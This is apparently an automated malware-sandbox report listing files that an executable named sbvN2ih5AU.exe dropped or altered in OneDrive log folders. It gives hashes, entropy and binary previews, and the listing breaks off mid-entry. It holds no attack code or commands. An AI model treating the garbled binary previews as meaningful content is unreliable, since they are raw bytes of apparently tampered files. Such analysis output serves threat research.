Preview:	EBFGO.....q1s.)..w9I..'..bf....>...zH.JI4.=.$.O.la..w..N.^f.....(..._Eaot..."\|.Q.o.n...kay?n...r4.:5..}L.......\<.s%....H.d..O"E}..xT.H.3.{n......m..x...l...O.."....(_O.i.....n@..z..S\.l.<....Vr4.[Fa......R...Q..=.oR?R.}.+?...<....r.)...Fj...._.P...3...,..t.Z....5...\|K...;.."=..F.9..F...+..g.o5;G.......k.......S..(.n.P.B.;....c.>.l4l..y.D......y'.oJ.UBL.'.c..(.\....:...#..ls..Q.2bJ.U..4sR....8....?...Y...o......^.d,q.+...8.di."E...-`....S#.{...mN.3..<.T.,L.....Z....t.b.BP.n"........z....}.i.b..p.K$..<.p...)......i.y.w..B....o.0....c.3.......3.m..z.E.....w..Zm...$.@..I...#d..!........!.A7...u...JkJ...@J..s.....&8tJ.q.._q.F4I..9....c.....;\|...~f).c..`."..t].....n,....X...R...+...&M.Q..j...7.L..jJB T....QR.:.D....Vi.?..tL8..#.[.....v..U.......1X...L..b..^8.].t...R..Pnl.-...}..,..\%..S}.#.gA7..Z...K.]]...WZ7...A.D.A.r=..%.Hx;.4..3m.7...dZ...A..ub... K))d7.h.V.:....3..'.....P.&.l _Wr..E..pL.9.S.....f...Wyq..kS\w..;.~..P}....9..nd.4..~.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-04.1059.3196.1.odl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20648741751383407
Encrypted:	false
SSDEEP:	24:wwU0UThDGg2E5RqTOhC50fiuMo7dq+Y2bz:RU0kBGR0qTCiuMOz
MD5:	82416555200000A1A064E3673092464B
SHA1:	1956F0C814B418ECA476797446D70CFDEDF6258C
SHA-256:	638B88AE6519B3C20C3915FBA1160D6BF4A5C72C8A71F4A7EB4806CCCC9614E8
SHA-512:	EE419BBF50D47808242A0E33145002C64CB05144603E460FC941AA0042CE4C673C432ACA086B5E95FE96AAA267B274D49F7E385FCD8D7D03E682285B2E3B265C
Malicious:	false
Preview:	EBFGO+..H..AH%.2R.{}l......+.+./.S4......B....E..^...+.......]Af.<..#u;.A5<k.B.~.}..A.6..;..L6......:..b..R.z......3z..}W....g".......!(...6.]>Hf..a....h.....:...F.z.E..8AL.F.J..E^...s.##Q.. ...-e.s.<.>.../]`..U>..J.9..><..........L..H.\|epLU........M.5....#3..AiO..sx......:A...\~.C`....w]....l...5.!...&(../.T.{}.1`{y...4..[..e\|.....M.J6aU...+....Tld.B........"`A.f..S......L........f.:d..wX.......(.O...#...L......&..L?..b}28.t.d.).a.dr...C...(........o..L5...d..4...M..M6C.+...`\(.7..>..[z7.*...ob.x..F.%.S.hl!...N(_g.C..yU.F[h[(.f.H.0)#l.Q.4..g>.\h..<.G...."Kg.m..6.....I@G..vI..PCV.R.m.....h...^.-R..dV;?L.<9..n.....or..%g.aB.....V.....p".w.{.....z...Vz....5.J....)M2....pqY{.?&.....$D.....R....CU.q..1b.s...!..7g..x3(x..t. }.6......n.3......_.jb.sp.W...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine_2023-10-04_105957_c7c-3d4.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4547489003061886
Encrypted:	false
SSDEEP:	384:kwV54aH3UPejMCnUqyDGGM04jD2fSt580ikDhJb13SfWwpK:9XULDwjCe5ouhJgfW
MD5:	AEA5AE46FC66E6664EE4A549A4C260B7
SHA1:	9B18BDEE2429A2437E42B849FB05E10BE09A4C54
SHA-256:	CC98330C680C126F600A07931E91B2CEB8B8973AE9B3FD2DB49571BC2B7C5F4B
SHA-512:	CB55A57E091CA67AD05719C5BB30BE357AF194C86C175F054A8A44BBBF5136B2B1D75178C5B2889062726170206C87BF8FCEA84DFAE3104028BDBC4178FE6AE1
Malicious:	false
Preview:	1.0./..i&)'...+.`.z-.3C.w._.L.. n.6,d.7...f.h.....H.)..Y.-....(I%....7#.^ar.b...'..u@..ak{c3k[.....jFv.M..f!#_...r.f..X..y.p.i...&&.#..V;w...z.dR..4o.^..R.H..1...(.p............,..&!.......o9.._.T8.e......\|.?:..V.@............].7ZNl....#...@}kC.4..,\D.V10......y%.t..:.E....a$..=. ).s...J!>i......P..M...!..j..\.G /..u1."....}m._....!0...Fx....j.........../.....P.[...n.1.$0fu#.}...~.........;...DR2.s.d%j.w..).i..6d.?.H..\|....~.........i.3..f...K..jj2..[...A.\.v..9.lK.A.9X.o..8..o......]....v.{..k.-..%{O...Kelh.r...n........e..........f......-X7...e.t..'I...VE.iZ.$Kq..>..e......H=..i.-I.v....w+.9^B'_.......{.&..Vw.5.../.u...S.Rp2.l....].$-......h.,.6..N.......L. :.#E.........$.S.ik]W5....H~.....w.H..8.{[Q.....z5...,H..........cel@.....M9~....\|.....G.R.K.y.........y.L.a)..r..m....z...QVl...z.2.Oe.y.)6[..[(..5..!Q....?....t...9...L...> ./.+...).;...........&j.'-..ZJB}.x...p.+.f.._... 9..+8.......n(...4....l9.'..e.^....3%1.......~3.f'.......aXu..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-04.1059.6636.1.aodl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9401965696879785
Encrypted:	false
SSDEEP:	96:hPCtQtftC6sEyBINUqbkoF+d58O/+/LK7UkmKPXopyVM7hLuJQnWXG9ARWfD1vE:hj9LyB+U2koF+dCO/+//EvcoMgJZi
MD5:	62BA80873C8CD9A1D37952B1479B8D55
SHA1:	AADF463C1D633724C2ACBA62845F0827241DC2BA
SHA-256:	DF01C6E349EA857D11C909A69DE76E165F1B8E2CF7356EE01AF5D0988EC23B79
SHA-512:	64B21AC80141DADDDC248C3FD6C12C59055F31FEE59203E057744B0F36F73EFCAF3389FD632C4AFA3908878799CCDBD69AC7490AB1D3C0D34B6ABCE83B5977A8
Malicious:	false
Preview:	EBFGO..()H."}.&.)-.,$7......IM...L.I8.Y..u....i..#...JKE\|.{}U.....r^.#..a4N...w.u:TK_.oe.Y.u.....n.P'.2.\H[+@.O..p.D3.;ONi...Xd...6.Rq%.bzB...@..s..d...t=b.G.......,.;lgrC.g..4..'.Q;........\|..x_.}-Z....?~.w>....!.-..zE6.}.H4C.K....E.........7.....k...a.J.{...q..s.3e[...=.'.....x.e.E..s.B....#. o....&..(.....)r.i}...<O ./.uw?-.Yg.K......._.N+r..R..0.QlF.......9....k._.'{.Tz...AD?.g#...P.F..}2...A...a%..^.3-.)....gTt........8..z..f.....^.[....b...l.E,...+.}0;.c;....#.<..Z.D\|..%...]6..?.da..oB......>7:..]Y.U..(....t...........[.>..h`.&.....0..2..$.@Cx.p.YB.R.F...O.=.5\W..$.....~Z#N....~./.%.....N..6.yT.V...d$....R...k..N$N.P...I...z...c.....P...KS..6L\|5Ay...P0`.81.A...67.@...F.?..{G.(U..~8.M...... .g:.@......s....q.Wu.]7h.hJt....g@...]._...n...,..-.O.%.~.F.g{.3j.I7.XiN.D.q...\|..ee.....F.2vi..q,g....U.O.F#[..O"..db>...;.~@E..x.5K.M.,v.../v.P..h-..<k...d..].*p=.%..^..c..o..Z..`.f...yY.....8\........Q.^.tx...oj....'W....Nf.W.7...m.U:..^...x.J.VH.q.]...0.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-04.1059.6636.1.odl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.2064177648414631
Encrypted:	false
SSDEEP:	24:nFqv8bDBqrBSZjp4lYGGRdKrXzvvC2bz:nFu8bDBqrBSZ94lYGGYz
MD5:	34F2E3AE6EDB057EA5F978CBF5CE1C86
SHA1:	5E3934AF1B9FEF1BA6D89973514CB98344373E45
SHA-256:	0917918F36F33FC53016D98840FC32FE8B2257D992B95B9F67546A4890C05DA4
SHA-512:	2EDD34376AC5DDF3F755DDFB184FE5876AF8D9CB58959F5D673A2881196CDA701A334A7990559EC6CE40D402AAD762BB036FE9D5B49D6CE0B0BDF245A4BBEF18
Malicious:	false
Preview:	EBFGO..F...:.J..% zm..9..;..0U...6.m......)......5m5...f}...n.0.K.Y..F.@.&.Q.R..E. ;.....c+...;.>..g.....z4>.B".i.`...>.X.D[.z.....6....$.........H.....a..d.@6.~...8R..N.qV.U..{$c .-G..s3....g....Z.....N.y~)..zU..........o.g.../\..#w..%..Q]8H3....o.V3...[....9v..>2.B........?-..~..R..;..f>..9i..TS!....!.C.....11g.....d5....z...rG..Y.Ms..WL.RV.\|/.....x.....S..s..K....k..F}..7......^..S.)...H.X!.e...?..y.t5bt....@&N.u~.&#..u...[...).2.rlA.Ld....T..Ou...(o,.#....<.......1I..N....6g.".q8.....w-...9.7W..\|z.na..I.{e.n...."...=.k.H.`.8i..f..T..#.a...rb....%..JJH..m..%}.q.P...y...7.F......(V..i..a/.I@-CZ....y.....o...L}.}....#.$p.I....wo.d....".#.Jl..c...$.N.N.v.R[.7."..^r......0.).L.`.A..\....B0.v.P.\. .h{.? ..]*.~...?#..yk...{.B......8....o.....f..a..KmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser_2023-10-04_105958_19ec-19e8.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.8918505146907387
Encrypted:	false
SSDEEP:	768:MURJomTQHCzPDC0i7suwdrvaVlk2ERrVKgc:VRJzGD7sXSnxQrY
MD5:	ADB50D83D7663AD94333B081BBFBE195
SHA1:	91FF4F88A4CF9ECE064A4828AC510067272EA738
SHA-256:	2C999212CA1DA38C637542E568DA9A9D16ECF0C7D706BEDAA17F9C800968DAA8
SHA-512:	5DCA2F67EA6BB6F57C764A8165A7C6C9116670D61752D34B5CB556E1DB0B4FF7A34E2886473BCA5A6D640F699F50C89C2B4ADF7605A0253AEDD5F685B73A1BBE
Malicious:	false
Preview:	1.0./.U^Z.BY...JrvL.......P`L...ov.<X~.3.4...U...`....\|..:...},.@s....N..E.%..... 1.....i....[.:t.....F....:..K.;7.....C.2.fO.i...(.....7...}co.C......g...D..fN..FnY...;.....C8}.EFw..zs.4.[........0u........0...&.L..3r..C...../.[..={.?..Y..o{..i<.9..t)q...T...,..i.72xx....r..\..C.rX~....$e,..@.d.!.X...R}...6..:+U.O.......[....o...c...$;3.B$....@a....~8^.v.\|.DDD.........FkjD...j.H.&..e...[...F..,..(..g.{.....W..ahu..7].o@.....X.8...4..2.l,......[.;h..&..F..IX......T>..i".N{..h5.I....Y..d...3........L....L..VO.....>V.L(V....<..0w..V.x..\|..!.gh}Y..5..j....I@.J.'O )O.?.8yY....].P....\|.Z_c...6.....8.......h.CF...>......~:.V..{B$...\..3.D.pJz. L.F.3gv.1..d"...)..G.]........u$.E...-.l..N....d...Z..v..x.~l....&6*==W.I......._..c.-t.....W..d..4.[..4..( 63.aX.pI};..Z]./..l...x(..0...&....D#U.:..P...&0d.'.k..............).BT.+HT..1~W.0.oa.Q..3...UQ...Q..uA..$.\|.Ur.Z.W..84v...M...A.u.l`...@..B;..J.a......3...n.......V.zGbp........;...]=...A...=.[#

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall_2023-10-04_105950_1894-1898.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.411100083467951
Encrypted:	false
SSDEEP:	768:ra6E570vBhXx/UQsf2xPrJNToghaloIC/mSrHePHI:A5sXGFfy8ghM1GSPH
MD5:	166780CF8920B91462B501E7D9621BB6
SHA1:	DB0A518D5524CA1FDA98974E6403C54B5A924F1E
SHA-256:	5368360C60F656C876730120F9DF70D7CF5D2D25904293EEE7FD6962A8CEF28D
SHA-512:	CE53CA475EB236DF029985BE4F4F278AE3B1C3365F8209EE08EBA14BAA7DAFC2C39434C1775F2CFDB4C1E6FC87414364AE743A228B6A8EB86085E9C907A89910
Malicious:	false
Preview:	1.0./p......a?,<.li.q..ON.id.w..\.%...i.cm3f......Ws....).Rbio...O...'.Q...K.&J.e.?..U.JQ3q.......C...'6..pQ..s....Z...{...`vk..c...Aa....i...~../.3.Ui..y..#AGy.vk.V....,...&:#nt.~.....so.3.M@../....WZ.}..}...RD.pP.=.!....4...9..T+..!.@..V.yj.......Mn...K.`4l.b.......C...pA...]l.f.........w..Y.1^ax..w.QP?.c.%:Ji...F2.h..cO...B.9....Jh..wPT....\|^.?G.M.\.T...H2.....%..D.KmFsY.Hg..;j.t..r..&k....x..=....q...>..Bg..q.gk.v.T..........A.....Cmj.^v,.O....L.O..{...)...SS.X>....oN<.l.4.....B.........k.b...k.^..<...t_>..L..Y..D.]M..e>.!.2..Bn.=\..e.."&.....q.6..,_..{d.._.<..~.2*.G5.X6.~.#."?O%....9z.go.BY.J .&..].e/d...2_......VSj![=...-........`..c..+....y......k!.......dn..!..<.....d.!U.i..Z'..'..\|....K..+.K....W.S.Q..c..D?s.-.D.%8.. (9.^x..F`..'.a......$....C....3.\|....\|]Q.k..1{.>z..l.S...o.g.s._F8....pyK4$...+5,L62.u.J?Q... l....k#.=.0..........%x.o..w......$.2..z...s....-ud......)f:...W......7 -...}.Z.....g.........j..S-.....0.)..c.......na...L.y..l

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_114942_500-1efc.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.556452897623554
Encrypted:	false
SSDEEP:	768:Q6EqYXMs/YK81qPWss5dTnozp+XY2QmpF:QHX8sAq6vTn0UY2Q
MD5:	1BA5D3CFFD2CBE4A9DA76DCB99CF26F9
SHA1:	BB68E392A625114D23BD0B341C905C6B0C75A634
SHA-256:	1596CB4D5197DE074C729EB8B5580FBDA68A282583D27E95425E6ED1B1F5F477
SHA-512:	D78D9D6F1CAC6C7D7AB20B56FD434AC5928301A1E387DE2EEBF2DCED913B784E92D14E9A488C2CC16CD7D5A3DA4E6FC9C4B16E4D175C900EF72FAC9D8BF96C59
Malicious:	false
Preview:	1.0./...]..k..z.N.-.7.e.U........Q ..~.Vn..U..h..2...RxO..]....CG^h..B..#...q..Ip....]5.{h....M....h.....F.gM.[..O=.n.v..w......'.....!....3.\|...G.KM^..9^..o.E..../.L.w..h..........e....-.A....z.2\.'.\.....Y.g3.0..).....2...e.7.5...Tt~...V.U.C..k.i+....@d.............Z.....z../l.K........?.2F...V$.3.RAr.KL%.R.<..............&r.e]k.....'...k..[);@.o....O/L}........%'..Q.....Tz.P7....;...e........T^.....K.}...y[..Y.....P.;......s.I....":q..{....#....>%.}...a\..T2....l...f.w...n.5.g?$.C...s..y..z2.........>.c..uj./..eH.2`k..w@3.;..(.e.nY.m...5.Q..~_....z.z}z..wI.....#f..$b.\|J.....:...r...A...+5.D]tr........E..(oj1.G.z..0p~Q.U.._.lZ......p...e....,....".8..HE.0!..M..-..aY.........k&./.B.)j.I....19EfN..^........w..w.&.c8..{.n.s..F.......y.^-b.2.]'.a....WCo....L".Y...f.E\|{..l\|Ru.W..e..o...%.....^..].a..[.`.\?.8.e.}.R.I.B..C.~....[..^..C.a.}....Y....[R3 b..?...7..I...J....t.'.....x*...Ay.;......t.[...I......3a..E.....<.I[1Y8...S..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115011_3184-4676.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.313782072013705
Encrypted:	false
SSDEEP:	96:AL0y3j1eWTRkoipb0ZbK7O2ennGe60OZAqI2bbtfAY6zZ9rzA4O0S55tATG7eKz:IEDl0ZbKYnGvhbbiY6vnnS556
MD5:	42E0BFDFF62980326E2B969591B10067
SHA1:	5C930D0F3B6F2414D1E10D67DBAEF04ACEB2277D
SHA-256:	83E0186FD3A152941DAA5A5446E3AD773851E137B50203D5AFED0D2C0D981619
SHA-512:	C0F779B899B249B9EBF92C0E58FF8C8A8C71EF9218E7B52DD89EF12F088621BC2EB10F18C0179F5605FF4D0748DE4EC45677CE1CE3E4081B06950AE50C3DC062
Malicious:	false
Preview:	1.0./....8..W.P.>$... ).Is1. ..s...?..V.9.U....6...}g.v5.."y.`..&A...~.f.....Bz.\XZ.XK..vs.i....2m...%.:r....x.....@B.....?U.j..c\..iq.........-K.{.....T....pG....'..+:/<=.....d...^......5.........#E .s^FMK.x. ....wM...:..k....g.33.g.B.3q...m......i.-.........S...c.!..OT...q.<..m.4kt...d..c}.b@........_ .f.H\....t...L..YD5V.......x`.X....7...`......%Z-.A.m..&.....2.U....oCk...xY<].h.{..S@..c9H.UH.+.._-..)..7..'.q7..3.#.-.D\|..T"N..'.3..$.tY.._..U..^T.LE......Dq....s..L...1p...0$....X.....><..4l.....Ye.U....._V..R....G..:\|D..".n.....U...{..y5./......Y.=.XV..q.ZD`'.^.j..:+...TV.....c.N.k.>.[.1rH......r.L.......B1....2U36....s.zgW.}..B.=._5.0^.,J^n..[N.r..DO.w.C...(.,....".\T\|..1.Y.4.Y..X........]>Y;f--c.O.!.a......;...)NC.....{G6..j.......R\..W......f......c@...b.>..........T....k.t.$V...I....:...M.?.!p.y.9}..?..!..o..\d.].'.G.^...gaE.e.d.f...ZZ..L.L.Cr...W....d.)z..tl..Y.dJ...@..&....p.....o...f..hA.Y%..W.JJ.b/."...Ug".

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115204_7008-7012.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5754603710544056
Encrypted:	false
SSDEEP:	48:Fd8gGdvtQuv2JtUW1YpMCp14cLIGjYev8rkYlMXOsyh3TQuYzUAY/R4eKJrz:AHVCtKpnp1oJYY+McuKYp4X
MD5:	241125255A5373D7267644D3212BA377
SHA1:	8ADC75D3E6B382EBE6A3E2F64ED3A311E09A4137
SHA-256:	68F10B6A822DD3808FBD5BAB3BCDD6E2A1E0C344A904B57ED0615FB350B778B1
SHA-512:	F7C32C1D7B98E519F5FE733B7A7C37F20BCBA5A35EE27905CBC5DC3AA9EC161B29222526328C0C08F3939FB852F98C3C3C2763AD7090439E17E52C750E687CE5
Malicious:	false
Preview:	1.0./..............6..R..V.-.].&.5z\|.Y.XV..L...jC$.5-.G....<...!3).Uk..Oq.....T..J!df.g..-Z..'. .F.^O..O....L.6.t..?nm.4...Y,_O..r..9.<...0rr..`......9..wZ_f.{lz..o.k.L....x.)[3....T...L.......g....u<.....f.B..........(.I....pA2.\|S...2.`<3..5.<...Esr.+.H.&..h.7.......y>G...5m:..w.....fr..V..bb.....u/....3.1j..\f.H...'g.+t.....a..sc..Rv)..!.QDd..../!.......>..j..BIT`.b7........h..u.).....&P..#A..R.K..I......y.r=....7QU....F.C.V.>.....=X...R.IX.}.k.#')g..0.c..F..$....\|$y....HR.Q~Y.._...F..TS...]..[..%...-..y.a.K.-{....T6......c....48..B..E...),..0O.2.H...!\|.L?b.#....p.....O.v.....2.P.R@.Z..).$...: v...............!O..uQcQ.j. .d.7.S.2U.."....(.8z..#....X ...n.}l..{....a.z1..+.+_...w.n.g..g..i...#L...x.l.6.......>...._-......A^.\p.v.Ue...I.I*....B.V..%..+R...pS.F.....m...m.....b;..oz....hxM..{Xm..Oat.V....?5...2.s.u.x!.8...\|.....f>.......c......kl..^.C S..`..[.9...<.>.~...T...A..C.U..X...g....\E.k..[G[.Lb]6G..6....j.Q.3U..#.(V?

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115740_6260-6264.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5744978983757812
Encrypted:	false
SSDEEP:	48:P5t9e3nQMt34hhfMRG3jMTY4eo0gmjeLiN3BY+Ks/DIoXjqBUX3Ptvu5z:P5tgX73mkUIbF0fjciNxYNVoTi01Y
MD5:	8216D6BA8CD66731FCCF1A6216F775A0
SHA1:	A28E918B143E29DF1BA27F128DAAF134965E01DD
SHA-256:	094682681C69DFF8AD15E5B90E725A844C4660B09C83561E77DC2FC5A4A6C9BB
SHA-512:	DD151501EEC26CD97A0B1EFDB8094BEDEBE1285F6B8D8C00D493C5B08A24FF6A0164E1A031320E5612BE267F09376BCA80201F31D0E5E1D2B3F7460B2A9603A3
Malicious:	false
Preview:	1.0./8.8/.B;..]/.4.uJ.`.$.z.S#.Ig..~.~.D...`r....>...u..:.:.I.=.....]...1.d.=..."...F....T.{......#\|.T.......D...z...2..$..9,...#.K..$ ..6....^MXN....e'.C.....-?..r`..KY...././...."..\|...v.'...WB&.K..To....m.X....Ftf.'.....UU{..?.....M..^.37&....E....+..,>L..c....-g.cH.Y8I..ze..4a..t...Gfp...v..."...%..;.V...\|]...._....7.D.6.._...q.h.[..I..SfG.Kg..u.T...Z...A?.r..q.....o....s....p.D.%,.r..G.....dZ.{4....Z6..\.Q.yPp.w.XC.s.m...p...p.[<.q4{$.y..JBY.U+...[._2.6..2.&..R..Y.7.Q..]...Q....U....`^.9}..t...+8r.4;.EUv..h.> .A..`]y@.2.lB..hq0]=.I...3...:....`.&..v&..85-$......=......yl.H]....:O......ZX....aE4..T.>....c..J.Tj>.%.27....Y.N!...KO.v.6....\...)v....l.Yl:B[I...;.....'...k..uOZ..,.........*.u..<.Q....!.....q...l....p....1.W...g..H.....K.<B......4..E.=..\|._$..w.rq...........#\.X2........XN=cS.A.......u\|.1....."~...=..!:;4...............%...\....=...0.....Q{...V.@lkUA....M...._.,5e..EA...=.cZ.....3.g:.......z.....;...P....M..].2...T.I...[.V

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121144_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.726376944343543
Encrypted:	false
SSDEEP:	384:+8lA6fAxwdKZy/bayL/RgoUaNPJItuH4W1Z8:hlAf4afydJItuYW1
MD5:	F3E86EEE36C0A4133CAF469511388934
SHA1:	85C78213FE41BD39A552CFD1145C54A3CC79D16D
SHA-256:	B9E9CC6ED9A0DB0247C31FDF5203F0CC27E98B118D3A72D4E23C5BAE3C310976
SHA-512:	80F0A63C2EA8586F0AD4E914CA2ECB201ABBAD6D9B0E8813558B6CAE8085C48D75E8679755C0A18FC9B0F8D0A063BB2B7E4848AF4B9FD3EA0EC56BA6F619B567
Malicious:	false
Preview:	1.0./..($LZ<..Aa..J.(k".O..=G....V.H...LT{6...2L.m...N..t../BM.}..%W,./...o....f.......H}.g....Kg.H..B:.+.k.F......s...:.y..~{.j..4L.>.;j...Q,..P,.!Z...u.$.?8.....FW!wz....:l....'.l@!..M..3..^..f.x..D.7..3.R..fa?5K.B.......'..z..v8....b..p$.a_....e..L....3...=#<..;.bp.".2p2..9xr.....p....]....!...l....{........7....m....T.c.v....>t..d.Ah.U....n..-"....k.._.^7.!...y^..!.e.. ..E...<%.8....{FL.#.r.. .....L].qn.0.e.6.....P._O..e.._...n,WV.o.\....o.;..!.^....UEY.x..'..\|K.Q.....F.}.-......h..s.....L7.N..%&g..!...2.....E...3.B..V4......5..&+..P.A^....&..0......sF3j......)x#_...O..5`...ig.Og.._.u.1m.LX.$.Z....#.9.{..Y....n.."....EM.....sc...Z.Q..}..%.a.^.l........^L8C..I+.H.\|.g..<..V.s.j..`n..xz..5?...o3..zn>X...m..u~O..o<.......`.Fjc..P......P......).HS......Ik..%T.].Y.0.O.8.....PS..3"hQB..[re.R=.$.TF..?.@. ]..5.f............~..V.FG0....U%.....7.....'..At. .f....M,...#.n.=.`..U..^H.'/...I.{#..G..F.T.....n_[.$.?..Ds.h.....S6......T..."l...^'...9.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121212_7980-7984.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.5999801204601205
Encrypted:	false
SSDEEP:	384:wo+yLQ1on0DV/xeJc/EKpYMG089Kt6m+0Wh8TLVwIW1:wo+y8o0DV/P/pm6849+r8TLKT1
MD5:	50417FF269810E9AAE5B8D101925FD58
SHA1:	132B415A1C7814A28D14C895E6E42DA75774F4A7
SHA-256:	74E161C0AE68854ED1C35FBBFD1AEE93BE84A61F77B2907583173484CB49A4EA
SHA-512:	8C4E07D3E73D8E95FCDE1EC1D55E499CA4695942D9B25A10CED3CF3B046E49A251ABB2842452AD956DC4F3041F7E472EB5009BAE50DDA7A86AB696DB6AD67F29
Malicious:	false
Preview:	1.0./n.....b0.?.,....+.k...`....&.Z0..<l..!.a.\o...S.U........4..1..3\.>J.z@"F.E....]S.C..N..xv./...eb.Fb.Ah....V.\|5L>_F?........,2.3..@"F...jG..7.i.^.G]zBr\|......b..r+4](.......t.b&7l.:s7.5.K.K3....t.V..0.`b....!.p.=A.ZB..g....^}.....v.....6..!.S#...+.."..a..t.BT7.D.J......_1F.[#..\|.A.x...I0B.).R.@..p.Pc4;.8....j=U....u.I2.k..o..j.W...G i...Y.Zo.x.58.:./.8...[....VS.!..b..c.3.....?{0..$.;.'?.a.....4..).>.........U./.\|b.6$t./....eB{=%...u.....G..?.........T;.4........4E8..h..x.H[<.=.....1..k..P*}...'....C{hU......\|..89V;...6`g..u.9fF.EB.k..S.............}..HMgQ...R+.v....~......6/..."[....nN.4..O.zd.p.@8y@cX-t.1Z.........x..48._........!}.j.R.P.k.w...^!..A).........b.1..d.....'....R.LZ'p%.\|.~I..F...%\..TJ...cMt.Ge9U..U.Q...._BWmq...QmfN!..l...>.l7....{...l%:.Ag.H.Z;d...Z.....%(.c.KS.".....:....g..T..I...-..A).........q.....J...e.9.T#..t>U.?O..4vJ...Y..u...#.DI.L..c.f)..Q.g...`....B..e.&..9.s...g\|...>..v.(.uN...X`k......eT..1.)....s..:

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_082907_5964-5996.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.3766399194368457
Encrypted:	false
SSDEEP:	192:KIJveKwyl70FIJ1VxdKAyDxchkjKrCsYpqcsdXvBbVi85CLKup0efbZEodrvHZ:5kImFIRKAy17pqh3CLDp0MtEqrv5
MD5:	02960556BEA982916557F781CC75FC10
SHA1:	FD0A7D3DE670C5F266AD689AD102EA54B68F0ADF
SHA-256:	53DFB1EF3CA3C59479EB44F0F14977DA9D46FD43EC1E7D9EBCE13F7C4DBAB08E
SHA-512:	313CEA3A69FB01EE5101DBEF25E04D8B85A3544C7CC9A4DE607761B7C5B23606F780FABA99C21F99ED0B08DC81F20065933CAF9905FDD5A07D32D2C020AB37D5
Malicious:	false
Preview:	1.0./...(.m....[.5M...kc.fQ7.5..y8b.0.....3$~.........W...'^sd..=.5.M..W...\|cT...........:W.sl......O.r%_...I{.jX>....3.Q......:X..MwO>~..N..9HNm(#..a...?..G....@5...qif....x...F._..O...}....H.....7.........xc.2(...g....tm............<.g..~..W..^3./.G....p..R....}.[....`..h....3....Q~..#..J.]I...... .)....v....<..OG..x.`yB...l.......H;.end:%..+s8B..&.....c.WL..u}..V@.H...>t-....n....e.....).).R ..R.v_.N..O=......".bwD..v..e..b.....s....$..W.H].8...:...^IV#....8..i.+..Xh...A...Q.o..lP..=n!t...n.u3..b....[.9j....5o.o.....w.\|JuR...b_.#..(...x5..H$...+ ..._.#\...'Ob.u.3.. B..<`.6.].3....GY..H.q>..:.g...&..f<.~G..~.^O,......>.........d..eP...U6/..4_.).?..:H.V.mx....r..ZJc...TA...t.....js..t...T............dg..s.4.>.&..W..V...}e......Z....Q......m....O...........U.X.n:k..W/.D.-.DHE..o2#..wS... X...M ....k..Y.....&.^u..LW..g..H.-......a....aO...Pv.I..e......=9...b..cs2zXF..O... .....b...m......R.z ...3...h..Q.bS...n..........<...).Q.XE.F...&

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-04_083412_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.20152915844481
Encrypted:	false
SSDEEP:	96:Gjn8BPwXBZCeAdMU8z5f1hLLpXydt7hshVjxoKp9v7Yx4XBXxgcrQl1TQ31igfEW:Gj8BWDwM9zrXy5snxoKDY6XBXRcHJ/E
MD5:	396A3ACAD6AABE205E6AFC25195B8BA1
SHA1:	70EEFD11480477EA85B634283FBA83262FD76FCA
SHA-256:	984AF195BAE64163C0FC7929EC583C1770446EB0DA570054FAA92A026E3AD10A
